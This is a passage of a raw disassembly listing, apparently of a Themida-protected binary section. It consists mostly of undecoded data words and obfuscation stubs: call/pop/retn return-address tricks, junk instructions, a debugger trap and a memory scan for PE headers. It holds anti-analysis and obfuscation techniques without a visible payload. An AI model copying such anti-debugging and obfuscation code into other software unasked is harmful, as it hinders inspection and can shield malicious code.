0B2CC351h dd 4558870Ah, 3BE56534h, 0FD860FD9h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 7562C350h, 12E8A479h, 69000000h, 898A305h, 6F503C4Fh dd 0B355D019h, 0E6A64452h, 0F681660Fh, 665F1153h, 0BD89D98Ch dd 61300F5h, 0F04C1F6h, 0A884h, 8E800h, 93B00000h dd 242E0493h, 85891C6Eh, 6130785h, 1195FF5Fh, 0BF061321h dd 2C6CD3FDh, 57006A5Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 0A50F6F16h, 0D75EEBB7h, 0A290F681h dd 0C32B4893h, 8343Dh, 52860F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0EDC4C352h, 35E9F28Bh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 7BCEC353h dd 0AE01AC6Bh, 66FA3A4Eh, 0B024C681h, 4DC9ECBEh, 50C08B32h dd 5FF88B66h, 0D88BC38Bh, 1FB1BD8Bh, 85C70613h, 61305F9h dd 7485EDD3h, 8F0Fh, 0C08B0000h, 81F3BF0Fh, 130B21BDh dd 7D006h, 12850F00h, 89000000h, 131CED85h, 2185FF06h dd 0B06130Bh, 130B09BDh, 21B5FF06h, 6A06130Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 5E08C351h, 8D89CF56h, 61316D1h, 0DA995FFh, 0EE80613h dd 4B000000h, 0F5E0E37Eh, 60EDBC0h, 35DCC45Eh, 9D895E6Ah dd 6130FC1h, 0F5E68190h, 6672D39Dh, 0ACD1C681h, 2BBDBD8Bh dd 66600613h, 0AA7F281h, 0C870Fh, 840F0000h, 0 ; --------------------------------------------------------------------------- and edx, 21121512h mov [ebp+61323B5h], ebx popa mov edi, [ebp+6132D29h] mov edi, [ebp+613151Dh] sub si, 954Ah and edi, [ebp+6131FBDh] push 0 push ecx call sub_5BF107 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF107 proc near ; CODE XREF: Themida_:005BF0FFp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5BF107 endp ; --------------------------------------------------------------------------- jl short loc_5BF180 push esi not byte ptr [ecx+57h] pop edx int 3 ; Trap to Debugger cld cmc push 0 push eax call sub_5BF12C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF12C proc near ; CODE XREF: Themida_:005BF124p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5BF12C endp ; --------------------------------------------------------------------------- cmp edx, [esp+ebx] ror dword ptr [ecx], cl xchg eax, ebp ror dword ptr [ebx], 1 adc eax, [esi] push 0 push edi call sub_5BF151 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF151 proc near ; CODE XREF: Themida_:005BF149p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5BF151 endp ; --------------------------------------------------------------------------- db 5Dh, 17h, 4Eh dd 0BBA11561h, 8B8876EDh, 52006AF2h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h ; --------------------------------------------------------------------------- loc_5BF180: ; CODE XREF: Themida_:005BF117j add al, 1Dh ; --------------------------------------------------------------------------- dw 0 dd 0C3524200h, 69AD5CE6h, 0AEF28B45h, 0BE9EF79h, 11000000h dd 27E7DC0Eh, 1F7FFC32h, 8B66E5DFh, 56006AF9h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 6120C96Bh dd 0BEF88B77h, 0D2229C8h, 0FFF81BE9h, 178F0FFFh, 0E9000000h dd 12h, 0FB275666h, 308E5F40h, 0F1EED5F2h, 0EF18B2BDh dd 8589A94Eh, 6132165h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 565107D7h, 0B50950A8h dd 6132379h, 0FFFEB958h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 958B15C3h, 6131F8Dh dd 9CD8D21h, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 2A04CFC3h, 0BF0FE70Eh, 118D21FEh dd 89061311h, 130F09B5h, 8B0F6006h, 0 ; --------------------------------------------------------------------------- mov [ebp+6131FE9h], eax popa mov ecx, [ebp+61309CDh] push 0 push ebx call sub_5BF298 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF298 proc near ; CODE XREF: Themida_:005BF290p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5BF298 endp ; --------------------------------------------------------------------------- sub [eax+28h], esp jmp loc_5BF2C4 ; --------------------------------------------------------------------------- dd 1A8292E8h, 6179D872h, 71EACB4Eh, 0DA9997B7h, 69D55FEDh ; --------------------------------------------------------------------------- loc_5BF2C4: ; CODE XREF: Themida_:005BF2ABj mov edx, [ebp+6130D41h] and ecx, 1 jnz loc_5BF2F4 push 0 push edx call sub_5BF2DE and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF2DE proc near ; CODE XREF: Themida_:005BF2D6p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5BF2DE endp ; --------------------------------------------------------------------------- dw 5208h dd 0F0D6A89Bh ; --------------------------------------------------------------------------- loc_5BF2F4: ; CODE XREF: Themida_:005BF2CDj mov ecx, [ebp+6131111h] push 0 push ebx call sub_5BF305 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF305 proc near ; CODE XREF: Themida_:005BF2FDp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5BF305 endp ; --------------------------------------------------------------------------- db 66h, 0EAh, 4Eh db 3Eh ; > db 89h ; ‰ db 85h ; … db 21h ; ! db 23h ; # db 13h db 6 db 0E9h ; é db 0Dh db 0 db 0 db 0 ; --------------------------------------------------------------------------- sbb ebx, edi inc edx retn 35D1h ; --------------------------------------------------------------------------- dw 0B4CDh ; --------------------------------------------------------------------------- mov esp, 0B36B80B6h and ecx, 1 jnz loc_5BF340 mov [ebp+61310CDh], eax loc_5BF340: ; CODE XREF: Themida_:005BF334j popa pusha push 0 push edx call sub_5BF34D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF34D proc near ; CODE XREF: Themida_:005BF345p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5BF34D endp ; --------------------------------------------------------------------------- db 93h, 82h, 0D1h dd 20FB675h, 0E83A94A7h, 0Eh, 63796A90h, 0AE77BAD7h, 0BCB2D9A4h dd 0B95E6F14h, 0FFFFFFFEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0C9C35747h, 590FF359h, 0A508BE89h, 9E9h dd 0F4377F00h, 0BD0F77D1h, 8D21CB30h, 6131461h, 2FB18589h dd 8D210613h, 6130639h, 8D8BF78Ah, 6131461h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E9C35545h, 79BD8B87h dd 8306132Ch, 850F01E1h, 1Ch, 13E8h, 0E6AFAF00h, 0CC923AB6h dd 3F3071EDh, 0A6A830Ah, 0BFC366C0h, 0F2B70F5Ah, 6398D8Bh dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 66C9D9C3h, 830B41BAh, 850F01E1h, 3Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0EC35646h, 0CC7E2AD4h dd 0E9A18719h, 14h, 0BE5DC8CCh, 0D697CEF4h, 9AAE9575h dd 0C04D20C5h, 496F0043h, 9D896061h, 6130BEDh, 0FFFFFEB9h dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 4164FF04h, 2F4857DFh, 77E081E8h, 12DDCC2h dd 1330C9B5h, 0A18D2106h, 6A061316h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0A726C355h dd 987F178h, 21CDB529h, 8D210613h, 6132CD5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 9DC35040h, 500FF465h dd 8D1147D8h, 858960BFh, 6131151h, 31B58B61h, 8B06131Dh dd 1316A18Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0D1FCAC18h, 0A7DA7B2Fh, 8E0FD37Ch dd 3, 83F8B70Fh, 850F01E1h, 20h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 28C35040h, 101CA3A9h, 2CD58D8Bh dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0C4F623C3h, 198615B4h, 899F1129h, 1316E185h dd 1E18306h, 2850Fh, 0B0B30000h, 6A6061h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 105EFAC3h dd 0B58B68D6h, 6131325h, 0FFFFFEB9h, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 4F8DBA71h dd 8D214F0Bh, 6133251h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 63C35646h, 0DC4C2564h, 0B84AE380h, 493F8A6Fh dd 5F98D21h, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0C519EAC3h, 0BBBF662Dh, 518D8B1Fh dd 6A061332h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0B231C353h, 1F5AB0C4h, 0F01E183h dd 1E85h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 8B7A1A3Ah, 1305F98Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 7ACC519Dh, 5E9h, 0C1FEDB00h, 0E1830EC2h, 5850F01h, 0BA000000h dd 439B4F1Fh, 6A6061h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 8E885C3h, 0E789A0BFh, 0BD2BF50Ah dd 6130EBDh, 0B2185C7h, 7D00613h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0A281B6C3h dd 3B28D89Bh, 66909495h, 7615EE81h, 53006A61h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 49D822D5h dd 35A8D056h, 0A18D8B4Eh, 0EB061312h, 0E99D6107h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5BF78B and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF78B proc near ; CODE XREF: Themida_:005BF783p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5BF78B endp ; --------------------------------------------------------------------------- dec ebx mov al, ds:422F62A5h mov [ebp+6133031h], edi push 0 push ecx call sub_5BF7B2 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF7B2 proc near ; CODE XREF: Themida_:005BF7AAp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5BF7B2 endp ; --------------------------------------------------------------------------- dw 0E88Eh dd 18E5BD89h, 0C18B0613h, 14E8h, 111000h, 3EA8132Dh, 0BC5402CAh dd 0FB707CD6h, 0E1362C6Bh, 0FFB70FFFh, 1AC2815Ah, 8900005Eh dd 1311BDBDh, 6806h, 800F0000h, 6, 18B1B50Bh, 0F580613h dd 34FFFEB7h, 5BF8B510h, 644DEB81h, 870F45C9h, 9, 850FFC60h dd 0 dd 70F38161h, 0F79FF70h, 68Ah, 75B58900h, 8106130Eh, 0AACB42F3h dd 0FABF0F68h, 81021C89h, 893F15C9h, 0B70F6026h, 7FF081F8h dd 617E8274h, 0F02E883h, 1489h, 0FE900h, 29700000h, 1B891C8Ah dd 5D05AB0Bh, 0E74499D9h, 8B48485Fh, 1301598Dh, 0C4F88106h dd 0FFFFFA2h, 1C85h, 0D6E98100h, 0E912E8E3h, 23h, 7BBF89E8h dd 7EB85DCAh, 9C6FAD32h, 34DB56Fh, 0E9BD8B26h, 0E906130Ah dd 0FFFFFF5Eh, 7390D873h, 0BA6CB046h, 0F0113000h, 0EA81h dd 0C283F000h, 89958914h, 83061331h, 858D14EAh, 617368Fh dd 35FF6450h, 0 ; --------------------------------------------------------------------------- mov large fs:0, esp call $+5 pop eax sub eax, edx and eax, 0FFFFF000h loc_5BF8EC: ; CODE XREF: Themida_:005BF90Ej cmp word ptr [eax], 5A4Dh jnz loc_5BF909 movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz loc_5BF913 loc_5BF909: ; CODE XREF: Themida_:005BF8F1j sub eax, 1000h jmp loc_5BF8EC ; --------------------------------------------------------------------------- loc_5BF913: ; CODE XREF: Themida_:005BF903j mov ecx, eax mov [ebp+6130BB9h], eax add eax, [eax+3Ch] movzx edx, word ptr [eax+6] mov [ebp+6130B65h], edx mov edx, [eax+50h] mov [ebp+6132A95h], edx add eax, 0F8h mov edx, [eax+0Ch] add edx, ecx mov [ebp+6130B5Dh], edx add edx, [eax+8] mov [ebp+6132125h], edx pop large dword ptr fs:0 add esp, 4 jmp loc_5BF96C ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_5BF96C: ; CODE XREF: Themida_:005BF954j cmp dword ptr [ebp+6131F95h], 0 jz loc_5BF99D mov byte ptr [ebp+61311E1h], 47h push 0D49AA7D2h push dword ptr [ebp+6131EE9h] lea eax, [ebp+6167C33h] call eax push 0 call eax mov [ebp+61316C1h], eax loc_5BF99D: ; CODE XREF: Themida_:005BF973j mov edx, ebx pusha mov [ebp+61328D9h], ebx mov eax, eax pusha or ax, 8EA2h xor cx, 5D1Bh popa cmp dword ptr [ebp+6131625h], 0 jnz short loc_5BF9C6 cmp dword ptr [ebp+6132C81h], 0 jz short loc_5BF9DF loc_5BF9C6: ; CODE XREF: Themida_:005BF9BBj push eax push ebx mov eax, eax mov eax, 438h mov [ebp+6130D7Dh], eax lea ebx, [ebp+615A97Dh] call ebx ; _iob pop ebx pop eax loc_5BF9DF: ; CODE XREF: Themida_:005BF9C4j cmp dword ptr [ebp+6132C81h], 0 jz short loc_5BF9FF push eax push ebx mov eax, 438h mov [ebp+6130D7Dh], eax lea ebx, [ebp+615A66Ch] call ebx ; _iob pop ebx pop eax loc_5BF9FF: ; CODE XREF: Themida_:005BF9E6j push 0 push ebp call sub_5BFA0A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFA0A proc near ; CODE XREF: Themida_:005BFA02p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5BFA0A endp ; --------------------------------------------------------------------------- xchg eax, edx jz short locret_5BFA90 push 0 push ebx call sub_5BFA28 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFA28 proc near ; CODE XREF: Themida_:005BFA20p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5BFA28 endp ; --------------------------------------------------------------------------- add eax, 6D8F10EDh adc ebx, ebx leave mov eax, eax xor esi, [ebp+6132965h] call sub_5C01E6 push 0 push ecx call sub_5BFA58 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFA58 proc near ; CODE XREF: Themida_:005BFA50p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5BFA58 endp ; --------------------------------------------------------------------------- dd 39610A95h, 0BA82F257h, 0F860DB74h, 1ECD9523h, 66610613h dd 5E50CF81h, 13D18589h, 6A0613h, 3E853h, 5B200000h ; --------------------------------------------------------------------------- locret_5BFA90: ; CODE XREF: Themida_:005BFA1Bj retn ; --------------------------------------------------------------------------- pop ebx mov [esp+4], ebx add dword ptr [esp+4], 18h inc ebx push ebx retn ; --------------------------------------------------------------------------- pop ebx imul ecx, esp, -0Ch xchg eax, esp call sub_5C01E6 push 0 push eax call sub_5BFAB6 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFAB6 proc near ; CODE XREF: Themida_:005BFAAEp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5BFAB6 endp ; --------------------------------------------------------------------------- xor [edx+4Ch], ah adc edi, [ecx+1Ah] xchg ebp, [eax-307E99FEh] enter 0FFFF8916h, 85h xchg eax, ebp sbb dl, [ebx] push es push 0 push ecx call sub_5BFAE5 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFAE5 proc near ; CODE XREF: Themida_:005BFADDp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5BFAE5 endp ; --------------------------------------------------------------------------- db 76h, 0E8h, 0Bh dd 4B000000h, 0DF82C94Dh, 59EE4D2Eh, 8D8B2DDAh, 61318B9h dd 6D4E85Eh, 0B5890000h, 6132F8Dh, 28318589h, 8B660613h dd 6C0E8F8h, 85890000h, 613005Dh, 0BE8h, 0B0024E00h, 0DE908DE8h dd 7395387Ch, 8E9h, 51537D00h, 0FC7718AAh, 97E85EF2h, 6A000006h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 9BC4C355h, 4782A1EAh, 9589EA3Bh, 61322ADh dd 302D8589h, 8B660613h, 660E8F7h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0A86B17C3h dd 0AE99EC6h, 0ED000000h, 0B7D6D9D0h, 4BBF9962h, 0ED858924h dd 6A061331h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0BC5FC353h, 0EB1F2BB3h, 8F0F86h dd 0E8000000h, 5FEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 6CC35343h, 0A984C2BFh, 5D858921h, 6A061312h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 3358C353h, 132385BDh, 0FA8B6606h, 5ADE8h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 5B07F1F8h, 0FE91A466h, 858986BFh, 6131B65h dd 38F0Fh, 0F5570000h, 574E85Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0CC6565C3h dd 6D2F33AEh, 8589F8F5h, 6131139h, 0C2E5B966h, 541E8h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0FC221182h, 4D958B60h, 0F061317h, 1386h dd 0DE800h, 85990000h, 0A455C344h, 3DB07DBEh, 5FD53569h dd 0D5858961h, 8906130Eh, 1312A19Dh, 4F0E806h, 0B9660000h dd 8D8B4346h, 6132A09h, 0B018589h, 66560613h, 5E9085B9h dd 10E8h, 154AB900h, 0AF4668FCh, 0A08C7017h, 0B294BF1Ch dd 0BFE85EA9h, 29000004h, 132A6D85h, 1858906h, 0F061321h dd 684h, 8D8D8B00h, 0E8061319h, 4A2h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 22C35040h, 157D5512h, 4B272655h dd 0A185892Ch, 6A06132Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0AD31C353h, 89CB702Ch dd 13178595h, 4BE8F806h, 6A000004h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1425C351h dd 1CE6F556h, 0B9858905h, 0FC061320h, 41DE8h, 96C68100h dd 8966849Eh, 13230985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 4F050D5Eh, 8CE125F3h dd 1FE99D89h, 0E3E80613h, 6A000003h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 2B8DC357h dd 8960DAE1h, 132035B5h, 85896106h, 6132331h, 28799589h dd 0B00613h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 4AC35040h, 0E5B4D440h, 0D2987D16h, 0FCA8B66h, 160D8B6h dd 132161B5h, 0DE806h, 801A0000h, 0E26D06EFh, 75820F36h dd 0FDD6899h, 8Dh, 0BA615F00h, 6, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 5EC35646h, 4760EE82h, 0E66AE729h dd 17419D89h, 0C38B0613h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0FEC35141h, 7564730Eh, 0A1B72BCBh, 8B04E8C1h dd 131125B5h, 0DAB96606h, 0E2F76645h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 76C35040h, 0DB4ADFBEh, 9DC5808h dd 0F98D0B89h, 2B061304h, 52006AD8h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 7EF4AE47h dd 5A762F56h, 2800Fh, 0F88B0000h, 241C8950h, 0C69B501h dd 95FF0613h, 6132111h, 1375B58Bh, 6A5B0613h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0CF43C352h, 8D01487Fh, 613120Dh, 2FCD958Dh, 6A0613h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 810D02C3h, 0E961BF4Fh, 14h, 0DDB5FFDBh, 0B8B469DAh dd 86AC9ACFh, 469DB802h, 0B439EC4Ah, 0BF0F1A89h, 1D8D8BC8h dd 8906131Eh, 6A0442h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 70D628C3h, 60F08BB5h, 2890Fh, 5E500000h dd 1AF98529h, 8D610613h, 13109595h, 0C88B6606h, 12E9h dd 3D931A00h, 1D4049DAh, 57545B4Dh, 3EB178E7h, 89267091h dd 51006A1Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0D1B105A0h, 6A044289h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0BC3FC355h ; --------------------------------------------------------------------------- loc_5C005C: ; DATA XREF: ___:off_443EACo adc ebp, [ecx+21B50354h] adc [ebx], edx push es mov cx, dx lea edx, [ebp+613189Dh] sub [ebp+6132A45h], edi mov [edx], ebx mov [ebp+6130F75h], ecx mov [edx+4], eax push 0 push ebx call sub_5C008A and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C008A proc near ; CODE XREF: Themida_:005C0082p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5C008A endp ; --------------------------------------------------------------------------- xchg eax, esp lea edx, [ebp+61329B1h] add [ebp+6131919h], eax clc mov [edx], ebx push 0 push edx call sub_5C00B5 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C00B5 proc near ; CODE XREF: Themida_:005C00ADp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5C00B5 endp ; --------------------------------------------------------------------------- db 22h, 0DFh, 8Eh ; --------------------------------------------------------------------------- mov al, 0A4h stosd lodsb mov [edx+4], eax cld mov [ebp+6132D11h], eax lea edx, [ebp+61300BDh] push 0 push ebx call sub_5C00E7 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C00E7 proc near ; CODE XREF: Themida_:005C00DFp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5C00E7 endp ; --------------------------------------------------------------------------- mov esi, 5DBD8B62h and dl, [ebx] push es mov [edx], ebx push 0 push ecx call sub_5C010C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C010C proc near ; CODE XREF: Themida_:005C0104p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5C010C endp ; --------------------------------------------------------------------------- dd 42CF813Ch, 8947D4C2h, 0B58B0442h, 61319E9h, 19958Dh dd 6A0613h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0E68FC3C3h, 9F5B0E96h, 9E9h, 0E3CDAA00h dd 0B562FBF9h, 1A891F62h, 860F6050h, 0 ; --------------------------------------------------------------------------- popa pop esi mov [edx+4], eax push 0 push esi call sub_5C017C and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C017C proc near ; CODE XREF: Themida_:005C0174p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5C017C endp ; --------------------------------------------------------------------------- and al, 7Ah das or dl, [ebx] mov esi, [ebp+61301B1h] lea edx, [ebp+6131A61h] mov cl, al mov [edx], ebx mov esi, [ebp+6132021h] mov [edx+4], eax mov [ebp+6130E05h], eax jmp loc_5C01C7 ; --------------------------------------------------------------------------- db 26h, 2Fh, 6 dd 6CF6FBADh, 72B8617Bh, 85CDEC3Eh db 70h, 8Ah, 0Dh ; --------------------------------------------------------------------------- loc_5C01C7: ; CODE XREF: Themida_:005C01B0j lea edx, [ebp+6132499h] mov [edx], ebx mov cx, dx mov [edx+4], eax cld xor di, 5B56h jmp loc_5C028C ; --------------------------------------------------------------------------- mov esi, [ebp+6131DA5h] ; =============== S U B R O U T I N E ======================================= sub_5C01E6 proc near ; CODE XREF: Themida_:005BFA48p ; Themida_:005BFAA6p push 0 mov [ebp+6132B99h], esi push 0 mov cx, 72B7h push 0 sub [ebp+6131D85h], esi push 0 push 0 push esi call sub_5C0209 and [esi-3Dh], bl sub_5C01E6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5C0209 proc near ; CODE XREF: sub_5C01E6+1Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5C0209 endp ; --------------------------------------------------------------------------- db 28h, 0FCh, 8Dh dd 0CF63F17Ch, 0F592F1Fh, 386h, 0FB8B6600h, 128995FFh dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 8C07CCC3h, 950FDFA9h, 1FE9B58Bh, 6AC30613h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 5EC8C352h, 94DB3696h, 95BB760h, 1306299Dh dd 85896106h, 6130DD9h ; --------------------------------------------------------------------------- loc_5C028C: ; CODE XREF: Themida_:005C01DBj mov al, ch push 0 push eax call sub_5C0299 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0299 proc near ; CODE XREF: Themida_:005C0291p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5C0299 endp ; --------------------------------------------------------------------------- wait stosb dec edx cmp [ebx], ah das pop ebp dec ebx and byte ptr [eax+9], 8Dh cdq or edx, [ebx] push es sub dx, 6F3Ch popa mov eax, eax mov ecx, 1541B27Fh cmp dword ptr [ebp+6131625h], 0 jnz short loc_5C02D8 cmp dword ptr [ebp+6132C81h], 0 jz short loc_5C02F1 loc_5C02D8: ; CODE XREF: Themida_:005C02CDj push eax push ebx mov eax, eax mov eax, 438h mov [ebp+6133115h], eax lea ebx, [ebp+615A9E4h] call ebx ; _iob pop ebx pop eax loc_5C02F1: ; CODE XREF: Themida_:005C02D6j cmp dword ptr [ebp+6132C81h], 0 jz short loc_5C0311 push eax push ebx mov eax, 438h mov [ebp+6133115h], eax lea ebx, [ebp+615A685h] call ebx ; _iob pop ebx pop eax loc_5C0311: ; CODE XREF: Themida_:005C02F8j push 0 push edi call sub_5C031C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C031C proc near ; CODE XREF: Themida_:005C0314p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5C031C endp ; --------------------------------------------------------------------------- pop ss mov eax, 46BE1FD8h adc eax, 664C0FA0h xor edi, 0B58B348Bh pop ecx xor dl, [ebx] push es mov eax, eax lea eax, [ebp+6131EA9h] adc bh, 6Fh nop mov bx, dx push eax mov edi, 6B2D66DAh nop push 0 push eax call sub_5C0362 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0362 proc near ; CODE XREF: Themida_:005C035Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5C0362 endp ; --------------------------------------------------------------------------- dw 6C5Ch dd 37FF4D79h, 0FE1A8674h, 6ADE8Bh, 38E0Fh, 0BF0F0000h dd 6A006AF9h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 